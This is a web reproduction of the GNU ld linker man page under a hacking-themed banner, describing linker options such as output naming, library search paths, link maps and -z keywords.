  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

445 - Linux cli command ld

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ld and provides detailed information about the command ld, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ld.

NAME 🖥️ ld 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the complier, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.
